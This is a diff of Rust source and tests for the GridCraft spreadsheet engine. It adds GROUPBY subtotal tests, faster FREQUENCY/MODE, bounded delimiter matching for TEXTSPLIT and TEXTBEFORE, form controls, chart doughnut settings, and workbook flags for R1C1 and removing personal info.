vec![tv("Grand Total"), e.clone(), nv(6.0)],
vec![tv("a"), e.clone(), nv(3.0)],
vec![tv("a"), tv("x"), nv(1.0)],
vec![tv("a"), tv("y"), nv(2.0)],
vec![tv("b"), e.clone(), nv(3.0)],
vec![tv("b"), tv("x"), nv(3.0)],
]
);
let keys3 = || {
av(arr(vec![
vec![tv("a"), tv("x"), tv("p")],
vec![tv("a"), tv("x"), tv("q")],
vec![tv("a"), tv("y"), tv("p")],
vec![tv("b"), tv("x"), tv("p")],
]))
};
let vals4 = || av(col(&[1.0, 2.0, 3.0, 4.0]));
let r = ev("GROUPBY", vec![keys3(), vals4(), t("SUM"), empty(), n(3.0)]);
let line = |k: [&str; 3], v: f64| k.iter().map(|s| if s.is_empty() { Value::Empty } else { tv(s) }).chain([nv(v)]).collect::<Vec<_>>();
assert_eq!(
rows_of(&r),
vec![
line(["a", "x", "p"], 1.0),
line(["a", "x", "q"], 2.0),
line(["a", "x", ""], 3.0),
line(["a", "y", "p"], 3.0),
line(["a", "y", ""], 3.0),
line(["a", "", ""], 6.0),
line(["b", "x", "p"], 4.0),
line(["b", "x", ""], 4.0),
line(["b", "", ""], 4.0),
line(["Grand Total", "", ""], 10.0),
]
);
// Depth 1 keeps "Total"; a depth past the key columns, or subtotals of a flat table, are errors.
let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(1.0)]);
assert_eq!(rows_of(&r).last().unwrap(), &vec![tv("Total"), e, nv(6.0)]);
is_err(ev("GROUPBY", vec![av(arr(vec![vec![tv("a")], vec![tv("b")]])), av(col(&[1.0, 2.0])), t("SUM"), empty(), n(2.0)]), CellError::Value);
is_err(ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0), empty(), empty(), n(1.0)]), CellError::Value);
}
#[test]
fn pivotby() {
let (region, item, amt) = sales();
+24 -5
View File
@@ -50,12 +50,27 @@ pub(super) fn median(v: Vec<f64>) -> R<f64> {
/// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count.
fn modes(v: &[f64]) -> Vec<f64> {
// Index of each distinct number in `counts`, so counting is linear rather than a search of
// every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN
// never equals anything, so it is never merged.
let mut index: std::collections::HashMap<u64, usize> = std::collections::HashMap::new();
let mut counts: Vec<(f64, usize)> = Vec::new();
for &x in v {
if let Some(e) = counts.iter_mut().find(|e| e.0 == x) {
e.1 += 1;
} else {
if x.is_nan() {
counts.push((x, 1));
continue;
}
let key = if x == 0.0 { 0 } else { x.to_bits() };
match index.entry(key) {
std::collections::hash_map::Entry::Occupied(e) => {
if let Some(c) = counts.get_mut(*e.get()) {
c.1 += 1;
}
}
std::collections::hash_map::Entry::Vacant(e) => {
e.insert(counts.len());
counts.push((x, 1));
}
}
}
let best = counts.iter().map(|e| e.1).max().unwrap_or(0);
@@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R<Value> {
if bins.is_empty() {
return col_value(vec![data.len() as f64]);
}
let mut order: Vec<usize> = (0..bins.len()).collect();
// a NaN bin equals no value (and would break the ascending order searched below)
let mut order: Vec<usize> = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect();
order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0)));
let mut counts = vec![0.0; bins.len() + 1];
for x in data {
let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len());
// `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for
// the first bin at or above `x` (the first of equal bins, as a linear scan would find).
let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) };
let slot = order.get(pos).copied().unwrap_or(bins.len());
if let Some(c) = counts.get_mut(slot) {
*c += 1.0;
}
+20
View File
@@ -617,3 +617,23 @@ fn aggregate_helper() {
close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0);
is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num);
}
/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers
/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and
/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes
/// come in first-occurrence order.
#[test]
fn frequency_and_mode_scale_with_their_inputs() {
let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]);
assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
// NaN data goes to the overflow bin, and a NaN bin takes nothing
let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]);
assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
let data: Vec<f64> = (0..200_000).map(|i| f64::from(i) + 1e6).collect();
let bins: Vec<f64> = (0..200_000).map(f64::from).collect();
let f = ev("FREQUENCY", vec![c(&data), c(&bins)]);
assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)]));
let distinct = ev("MODE", vec![c(&data)]);
is_err(distinct, CellError::NA);
assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]);
}
+81 -23
View File
@@ -1,5 +1,7 @@
//! Text functions.
use std::collections::HashMap;
use gridcraft_core::parse::parse_number_text_in;
use gridcraft_core::{CellError, Value, number_to_text};
@@ -339,11 +341,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R<Value> {
if body.is_empty() {
return num_val(0.0);
}
let mut pct = 0;
while let Some(b) = body.strip_suffix('%') {
body = b.to_string();
pct += 1;
}
// Count the trailing percent signs and cut them off in place: copying the rest once per sign
// made a long run of them quadratic.
let kept = body.trim_end_matches('%').len();
let pct = body.len() - kept;
body.truncate(kept);
let mut seen_dec = false;
let mut out = String::new();
for c in body.chars() {
@@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R<Vec<Vec<char>>> {
as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect()
}
/// Most delimiter characters compared in one search: text length × delimiters is the formula's
/// to choose, so the search gives up with `#VALUE!` rather than run on.
const MAX_MATCH_WORK: u64 = 100_000_000;
/// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left
/// to right preferring the longest delimiter starting at each position, or (`from_end`) right to
/// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all
/// delimiters are empty, in which case every position matches with zero length.
fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> {
/// delimiters are empty, in which case every position matches with zero length. Repeated
/// delimiters are tried once, and only those whose first (or, from the end, last) character is the
/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`.
fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> R<Vec<(usize, usize)>> {
let t = if insensitive { fold(text) } else { text.to_vec() };
let ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
let mut ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
if ds.is_empty() {
return (0..=t.len()).map(|i| (i, i)).collect();
return Ok((0..=t.len()).map(|i| (i, i)).collect());
}
ds.sort_unstable();
ds.dedup();
// Delimiters by the character a match is anchored on.
let mut by_char: HashMap<char, Vec<&[char]>> = HashMap::new();
for d in &ds {
let anchor = if from_end { d.last() } else { d.first() };
if let Some(&c) = anchor {
by_char.entry(c).or_default().push(d);
}
}
let mut work = 0u64;
let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R<Option<usize>> {
let mut best = None;
for d in candidates.into_iter().flatten() {
work = work.saturating_add(d.len() as u64);
if work > MAX_MATCH_WORK {
return Err(CellError::Value);
}
if fits(d) {
best = best.max(Some(d.len()));
}
}
Ok(best)
};
let mut out = Vec::new();
if from_end {
let mut j = t.len();
while j > 0 {
let best =
ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
match best {
let at = t.get(j - 1).and_then(|c| by_char.get(c));
match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? {
Some(l) => {
out.push((j - l, j));
j -= l;
@@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
}
}
out.reverse();
return out;
return Ok(out);
}
let mut i = 0;
while i < t.len() {
let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
match best {
let at = t.get(i).and_then(|c| by_char.get(c));
match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? {
Some(l) => {
out.push((i, i + l));
i += l;
@@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
None => i += 1,
}
}
out
Ok(out)
}
fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
@@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) {
return Err(CellError::Value);
}
let mut m = find_matches(&s, &delims, mode == 1, inst < 0);
let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?;
if match_end {
if inst > 0 {
if m.last().is_none_or(|x| x.0 != s.len()) {
@@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
text_before_after(a, false)
}
fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> Vec<Vec<char>> {
fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> R<Vec<Vec<char>>> {
if delims.iter().all(Vec::is_empty) {
return vec![s.to_vec()];
return Ok(vec![s.to_vec()]);
}
let mut out = Vec::new();
let mut last = 0;
for (st, en) in find_matches(s, delims, insensitive, false) {
for (st, en) in find_matches(s, delims, insensitive, false)? {
out.push(s[last..st].to_vec());
last = en;
}
out.push(s[last..].to_vec());
out
Ok(out)
}
fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
@@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
}
let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) };
let mut rows: Vec<Vec<String>> = Vec::new();
for r in split_by(&s, &row_d, mode == 1) {
for r in split_by(&s, &row_d, mode == 1)? {
if ignore && r.is_empty() {
continue;
}
let cells: Vec<String> =
split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
if ignore && cells.is_empty() {
continue;
}
@@ -1084,6 +1115,15 @@ mod tests {
use crate::util::testutil::*;
/// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass.
#[test]
fn numbervalue_percent_signs() {
close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005);
close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015);
let many = format!("1{}", "%".repeat(32_000));
close(ev("NUMBERVALUE", vec![t(&many)]), 0.0);
}
#[test]
fn bahttext() {
let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]);
@@ -1366,6 +1406,24 @@ mod tests {
is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a");
}
/// Thousands of copies of one delimiter are tried once; delimiters that can't start where the
/// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`.
#[test]
fn delimiter_matching_stays_bounded() {
let text = "ab,".repeat(10_000);
let same: Vec<&str> = vec![","; 50_000];
let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]);
assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001));
// Distinct long delimiters that start and end like every position: refused, not run.
let long: Vec<String> = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect();
let long: Vec<&str> = long.iter().map(String::as_str).collect();
is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value);
is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value);
// Longest match wins at a position, from either end.
is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x");
is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z");
}
#[test]
fn split() {
let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]);
+214 -1
View File
@@ -540,6 +540,12 @@ impl Trendline {
}
}
/// Charts saved before `hole_size` existed were drawn with a 50% hole. New charts and charts read
/// from XLSX set 75 explicitly (Excel's default), so only a missing JSON field keeps the old look.
fn default_hole_size() -> u8 {
50
}
/// A chart's data table (`c:dTable`), independent of the chart legend.
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(default)]
@@ -569,6 +575,13 @@ pub struct Chart {
pub data_table: Option<ChartDataTable>,
pub gridlines: bool,
pub style: u32,
/// Doughnut hole size as a percentage of the plot radius (Excel's 10–90 range). New charts and
/// XLSX imports use Excel's 75; a document saved before this field existed reads as 50.
#[serde(default = "default_hole_size")]
pub hole_size: u8,
/// Pie/doughnut first slice angle in degrees clockwise from 12 o'clock (0–359).
#[serde(default)]
pub first_slice_angle: u16,
pub x_title: Option<String>,
pub y_title: Option<String>,
/// Source range when created from a selection (for Switch Row/Column).
@@ -740,6 +753,171 @@ impl EquationCache {
}
}
/// What a form control on the sheet is.
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub enum ControlKind {
#[default]
Button,
Slider,
Spin,
}
impl ControlKind {
/// The kind's name in the window: Button, Slider, Spin Button.
pub fn label(self) -> &'static str {
match self {
ControlKind::Button => "Button",
ControlKind::Slider => "Slider",
ControlKind::Spin => "Spin Button",
}
}
}
/// The largest value a slider or spin button takes (Excel's scroll bar limit). Values are whole
/// numbers from 0 to this.
pub const CONTROL_MAX: u32 = 30_000;
/// What a button runs when it is pressed.
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(tag = "type", rename_all = "camelCase")]
pub enum ControlAction {
/// Runs a macro of the workbook on `input`, optionally sending its output to `output`.
Macro {
name: String,
#[serde(default)]
input: MacroInput,
#[serde(default, skip_serializing_if = "Option::is_none")]
output: Option<String>,
},
/// Runs one GridCraft command with fixed parameters.
Command {
id: String,
#[serde(default)]
params: serde_json::Value,
},
}
/// The range a button's macro runs on.
#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub enum MacroInput {
/// The selection when the button is pressed.
#[default]
Selection,
/// Always this range (`B2:D9` or `Data!B2:D9`).
Fixed(String),
}
/// A form control (button, slider, spin button) floating over the sheet.
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(default)]
pub struct FormControl {
pub id: u32,
pub kind: ControlKind,
pub anchor: Anchor,
/// The name shown in the Selection Pane (`Button 3`); empty means the kind and id.
pub name: String,
/// The caption of a button.
pub text: String,
/// The linked cell as reference text: `$B$2` on the control's own sheet, or `Sheet2!$B$2`.
/// Structural edits rewrite it like a formula reference.
pub link: Option<String>,
/// The current value of a slider or spin button (the linked cell holds it too).
pub value: u32,
pub min: u32,
pub max: u32,
/// Incremental change: one arrow click or arrow key.
pub step: u32,
/// Page change (sliders): a click on the track, or Page Up / Page Down.
pub page: u32,
/// A slider lies horizontally (false: vertically).
pub horizontal: bool,
/// What a button runs.
pub action: Option<ControlAction>,
/// Printed with the sheet.
pub print: bool,
/// Locked when the sheet is protected.
pub locked: bool,
}
impl Default for FormControl {
fn default() -> Self {
FormControl {
id: 0,
kind: ControlKind::default(),
anchor: Anchor::default(),
name: String::new(),
text: String::new(),
link: None,
value: 0,
min: 0,
max: 100,
step: 1,
page: 10,
horizontal: true,
action: None,
print: true,
locked: true,
}
}
}
impl FormControl {
/// The name shown for the control: its own, else `Button 3`, `Slider 4`, `Spin Button 5`.
pub fn display_name(&self) -> String {
if self.name.trim().is_empty() { format!("{} {}", self.kind.label(), self.id) } else { self.name.clone() }
}
/// Checks the numbers of a slider or spin button: 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min,
/// and (sliders) page ≥ step. Each rule has its own message.
pub fn check_numbers(&self) -> Result<(), String> {
if self.kind == ControlKind::Button {
return Ok(());
}
if self.max > CONTROL_MAX {
return Err(format!("Maximum value can be at most {CONTROL_MAX}."));
}
if self.min > CONTROL_MAX {
return Err(format!("Minimum value must be a whole number from 0 to {CONTROL_MAX}."));
}
if self.min >= self.max {
return Err(format!("Maximum value ({}) must be greater than Minimum value ({}).", self.max, self.min));
}
if self.step < 1 {
return Err("Incremental change must be at least 1.".into());
}
let span = self.max - self.min;
if self.step > span {
return Err(format!("Incremental change ({}) can be at most Maximum minus Minimum ({span}).", self.step));
}
if self.kind == ControlKind::Slider {
if self.page < self.step {
return Err(format!("Page change ({}) must be at least the incremental change ({}).", self.page, self.step));
}
if self.page > CONTROL_MAX {
return Err(format!("Page change can be at most {CONTROL_MAX}."));
}
}
Ok(())
}
/// `v` clamped to min..max and snapped to the nearest step from min (max stays reachable).
pub fn snap(&self, v: f64) -> u32 {
let (min, max) = (self.min.min(CONTROL_MAX), self.max.min(CONTROL_MAX).max(self.min.min(CONTROL_MAX)));
if !v.is_finite() || v <= min as f64 {
return min;
}
if v >= max as f64 {
return max;
}
let step = self.step.max(1) as f64;
let snapped = (min as f64 + ((v - min as f64) / step).round() * step).clamp(min as f64, max as f64);
// When the step doesn't divide the range, the maximum is a stop of its own.
if (max as f64 - v).abs() < (snapped - v).abs() { max } else { snapped as u32 }
}
}
/// The kinds of floating object a sheet holds. Commands name an object by kind and
/// workbook-unique id (`{kind: "chart", id}`); [`ObjKind::name`] is that parameter's spelling.
/// Equations are stored as shapes ([`ShapeKind::Equation`]) but select, open and delete as their
@@ -752,10 +930,11 @@ pub enum ObjKind {
Shape,
Slicer,
Equation,
Control,
}
impl ObjKind {
pub const ALL: [ObjKind; 5] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation];
pub const ALL: [ObjKind; 6] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation, ObjKind::Control];
/// The name used in command parameters.
pub fn name(self) -> &'static str {
@@ -765,6 +944,7 @@ impl ObjKind {
ObjKind::Shape => "shape",
ObjKind::Slicer => "slicer",
ObjKind::Equation => "equation",
ObjKind::Control => "control",
}
}
@@ -921,6 +1101,39 @@ mod trendline_forecast_tests {
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn chart_without_hole_size_keeps_the_legacy_hole() {
let chart = Chart {
id: 1,
kind: ChartKind::Doughnut,
anchor: Anchor::default(),
title: None,
series: vec![],
legend: LegendPos::Right,
data_labels: false,
data_table: None,
gridlines: false,
style: 1,
hole_size: 75,
first_slice_angle: 0,
x_title: None,
y_title: None,
source: None,
by_rows: false,
pivot: None,
};
let mut json = serde_json::to_value(&chart).expect("serialize chart");
json.as_object_mut().expect("chart object").remove("hole_size");
let legacy: Chart = serde_json::from_value(json).expect("deserialize legacy chart");
assert_eq!(legacy.hole_size, 50, "documents saved before hole_size existed keep the old 50% hole");
assert_eq!(chart.hole_size, 75, "new charts keep Excel's 75% default");
}
}
#[cfg(test)]
mod equation_cache_tests {
use super::{EquationCache, source_key};
+26 -9
View File
@@ -9,8 +9,8 @@ use serde::{Deserialize, Serialize};
use crate::cell::{Cell, CellPicture};
use crate::features::{
Anchor, AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, ShapeKind,
SheetProtection, Slicer, Sparkline, Table, Validation,
Anchor, AutoFilter, Chart, Comment, CondFormat, FormControl, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape,
ShapeKind, SheetProtection, Slicer, Sparkline, Table, Validation,
};
use crate::store::CellStore;
use crate::style::{Color, StyleId};
@@ -147,6 +147,10 @@ pub struct Sheet {
/// On-sheet slicer widgets (filter a table column by clicking value tiles).
#[serde(default)]
pub slicers: Vec<Slicer>,
/// Form controls (buttons, sliders, spin buttons). They paint above every other object and
/// take clicks first.
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub controls: Vec<FormControl>,
/// PivotTables whose output lives on this sheet.
#[serde(default)]
pub pivots: Vec<PivotTable>,
@@ -219,6 +223,7 @@ impl Sheet {
shapes: vec![],
sparklines: vec![],
slicers: vec![],
controls: vec![],
pivots: vec![],
protection: None,
edit_ranges: vec![],
@@ -285,6 +290,8 @@ impl Sheet {
if s.kind == ShapeKind::Equation { ObjKind::Equation } else { ObjKind::Shape }
} else if self.slicers.iter().any(|o| o.id == id) {
ObjKind::Slicer
} else if self.controls.iter().any(|o| o.id == id) {
ObjKind::Control
} else {
return None;
};
@@ -305,6 +312,7 @@ impl Sheet {
ObjKind::Shape => self.shapes.iter().find(|c| c.id == o.id).map(|c| c.anchor),
ObjKind::Slicer => self.slicers.iter().find(|c| c.id == o.id).map(|c| c.anchor),
ObjKind::Equation => self.shapes.iter().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| c.anchor),
ObjKind::Control => self.controls.iter().find(|c| c.id == o.id).map(|c| c.anchor),
}
}
@@ -315,6 +323,7 @@ impl Sheet {
ObjKind::Shape => self.shapes.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
ObjKind::Slicer => self.slicers.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
ObjKind::Equation => self.shapes.iter_mut().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| &mut c.anchor),
ObjKind::Control => self.controls.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
}
}
@@ -331,12 +340,13 @@ impl Sheet {
ObjKind::Shape => take(&mut self.shapes, |c| c.id == o.id),
ObjKind::Slicer => take(&mut self.slicers, |c| c.id == o.id),
ObjKind::Equation => take(&mut self.shapes, |c| c.id == o.id && c.kind == ShapeKind::Equation),
ObjKind::Control => take(&mut self.controls, |c| c.id == o.id),
}
}
/// Every floating object's anchor in a fixed order (charts, images, shapes, slicers) that
/// [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old ones
/// and write them back in step.
/// Every floating object's anchor in a fixed order (charts, images, shapes, slicers, controls)
/// that [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old
/// ones and write them back in step.
pub fn object_anchors(&self) -> impl Iterator<Item = &Anchor> {
self.charts
.iter()
@@ -344,6 +354,7 @@ impl Sheet {
.chain(self.images.iter().map(|o| &o.anchor))
.chain(self.shapes.iter().map(|o| &o.anchor))
.chain(self.slicers.iter().map(|o| &o.anchor))
.chain(self.controls.iter().map(|o| &o.anchor))
}
pub fn object_anchors_mut(&mut self) -> impl Iterator<Item = &mut Anchor> {
@@ -353,6 +364,7 @@ impl Sheet {
.chain(self.images.iter_mut().map(|o| &mut o.anchor))
.chain(self.shapes.iter_mut().map(|o| &mut o.anchor))
.chain(self.slicers.iter_mut().map(|o| &mut o.anchor))
.chain(self.controls.iter_mut().map(|o| &mut o.anchor))
}
/// Displayed value of a cell: its own value, or a spilled value.
pub fn value(&self, c: CellRef) -> Value {
@@ -819,6 +831,8 @@ mod tests {
data_table: None,
gridlines: false,
style: 0,
hole_size: 75,
first_slice_angle: 0,
x_title: None,
y_title: None,
source: None,
@@ -839,6 +853,7 @@ mod tests {
ObjKind::Slicer => {
s.slicers.push(Slicer { id, table: String::new(), column: String::new(), caption: String::new(), anchor, selected: None, columns: 1 })
}
ObjKind::Control => s.controls.push(FormControl { id, anchor, ..Default::default() }),
}
}
@@ -860,13 +875,15 @@ mod tests {
(ObjKind::Slicer, 1),
(ObjKind::Image, 4),
(ObjKind::Equation, 6),
(ObjKind::Control, 13),
(ObjKind::Shape, 12),
(ObjKind::Equation, 8),
(ObjKind::Control, 15),
];
for &(kind, id) in &inserted {
push_object(&mut s, kind, id, Anchor { cell: CellRef::new(id, 0), ..Default::default() });
}
let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len();
let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len() + s.controls.len();
assert_eq!(per_kind, inserted.len());
assert_eq!(s.object_anchors().count(), per_kind, "object_anchors visits every collection");
assert_eq!(s.object_anchors_mut().count(), per_kind, "object_anchors_mut visits every collection");
@@ -877,10 +894,10 @@ mod tests {
}
let marks: Vec<f32> = s.object_anchors().map(|a| a.dx).collect();
assert_eq!(marks, (0..per_kind).map(|i| i as f32).collect::<Vec<f32>>());
// The sequence is the documented one (charts, images, shapes, slicers, each in insertion
// order; equations are shapes) and every object appears in it once.
// The sequence is the documented one (charts, images, shapes, slicers, controls, each in
// insertion order; equations are shapes) and every object appears in it once.
let collection = |k: ObjKind| if k == ObjKind::Equation { ObjKind::Shape } else { k };
let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer]
let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Control]
.iter()
.flat_map(|&k| inserted.iter().filter(move |(kind, _)| collection(*kind) == k).map(|&(_, id)| id))
.collect();
+31 -1
View File
@@ -95,6 +95,10 @@ pub struct CalcSettings {
pub max_change: f64,
/// Use precision as displayed.
pub precision_as_displayed: bool,
/// R1C1 reference style (`<calcPr refMode="R1C1"/>`): kept with the file and written back;
/// GridCraft itself shows and takes A1 references.
#[serde(default)]
pub r1c1: bool,
}
impl Default for CalcSettings {
@@ -105,6 +109,7 @@ impl Default for CalcSettings {
max_iterations: Self::DEFAULT_ITERATIONS,
max_change: Self::DEFAULT_CHANGE,
precision_as_displayed: false,
r1c1: false,
}
}
}
@@ -200,6 +205,12 @@ pub struct Workbook {
pub calc: CalcSettings,
#[serde(default, skip_serializing_if = "is_all")]
pub show_objects: ShowObjects,
/// Trust Center › Privacy Options › "Remove personal information from file properties on save"
/// (`<workbookPr filterPrivacy="1"/>`): kept with the file, and while it is on the author and
/// company are left out of the XLSX files GridCraft writes, as Excel leaves them empty. Other
/// formats aren't filtered: the workbook's own serialization still holds them.
#[serde(default, skip_serializing_if = "std::ops::Not::not")]
pub remove_personal_info: bool,
/// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`].
pub active_sheet: ActiveSheet,
/// The workbook window's display settings (`<workbookView>`), kept across an open + save.
@@ -338,6 +349,7 @@ impl Workbook {
date_system: DateSystem::D1900,
calc: CalcSettings::default(),
show_objects: ShowObjects::All,
remove_personal_info: false,
active_sheet: ActiveSheet::default(),
view: WorkbookView::default(),
props: DocProps::default(),
@@ -494,7 +506,7 @@ impl Workbook {
}
}
/// A free id for a new chart, picture, shape, table or slicer: one more than the largest in
/// A free id for a new chart, picture, shape, table, slicer or form control: one more than the largest in
/// use, or, when that is `u32::MAX` (a file can carry any id), the lowest free one.
pub fn next_object_id(&self) -> u32 {
self.free_object_ids(1).first().copied().unwrap_or(u32::MAX)
@@ -515,6 +527,7 @@ impl Workbook {
.chain(s.shapes.iter().map(|o| o.id))
.chain(s.tables.iter().map(|o| o.id))
.chain(s.slicers.iter().map(|o| o.id))
.chain(s.controls.iter().map(|o| o.id))
})
.collect();
used.sort_unstable();
@@ -601,6 +614,10 @@ mod tests {
sh.images.push(image(7));
}
assert_eq!(wb.next_object_id(), 8);
if let Some(sh) = wb.sheet_mut(0) {
sh.controls.push(crate::FormControl { id: 12, ..Default::default() });
}
assert_eq!(wb.next_object_id(), 13, "form controls take ids from the same sequence");
if let Some(sh) = wb.sheet_mut(0) {
sh.images.push(image(u32::MAX));
}
@@ -619,6 +636,19 @@ mod tests {
assert_eq!(wb.free_object_ids(3), vec![1, 2, u32::MAX], "the top first, then from 1");
}
/// A form control's id is in use like any object's: the free ids skip it, also when it is the
/// largest id a file could carry.
#[test]
fn free_object_ids_skip_a_form_controls_id() {
let mut wb = Workbook::new();
if let Some(sh) = wb.sheet_mut(0) {
sh.controls.push(crate::FormControl { id: 3, ..Default::default() });
sh.controls.push(crate::FormControl { id: u32::MAX, ..Default::default() });
}
assert_eq!(wb.free_object_ids(4), vec![1, 2, 4, 5], "3 and the largest id are taken");
assert_eq!(wb.next_object_id(), 1);
}
/// A file can use the largest id and the one below it: nothing is free above them, so the free
/// ids are the lowest unused ones from 1 (0 is never an object's id), and a large request is
/// served in time linear in the count and the ids in use.
+5
View File
@@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) {
/// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then
/// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####".
pub fn format_general_fit(n: f64, max_chars: usize) -> Option<String> {
// The widest fixed rendering of a double is about 330 characters; a larger request only
// pads zero decimals the trim below throws away.
let max_chars = max_chars.min(1024);
if !n.is_finite() {
return None;
}
@@ -214,6 +217,8 @@ mod tests {
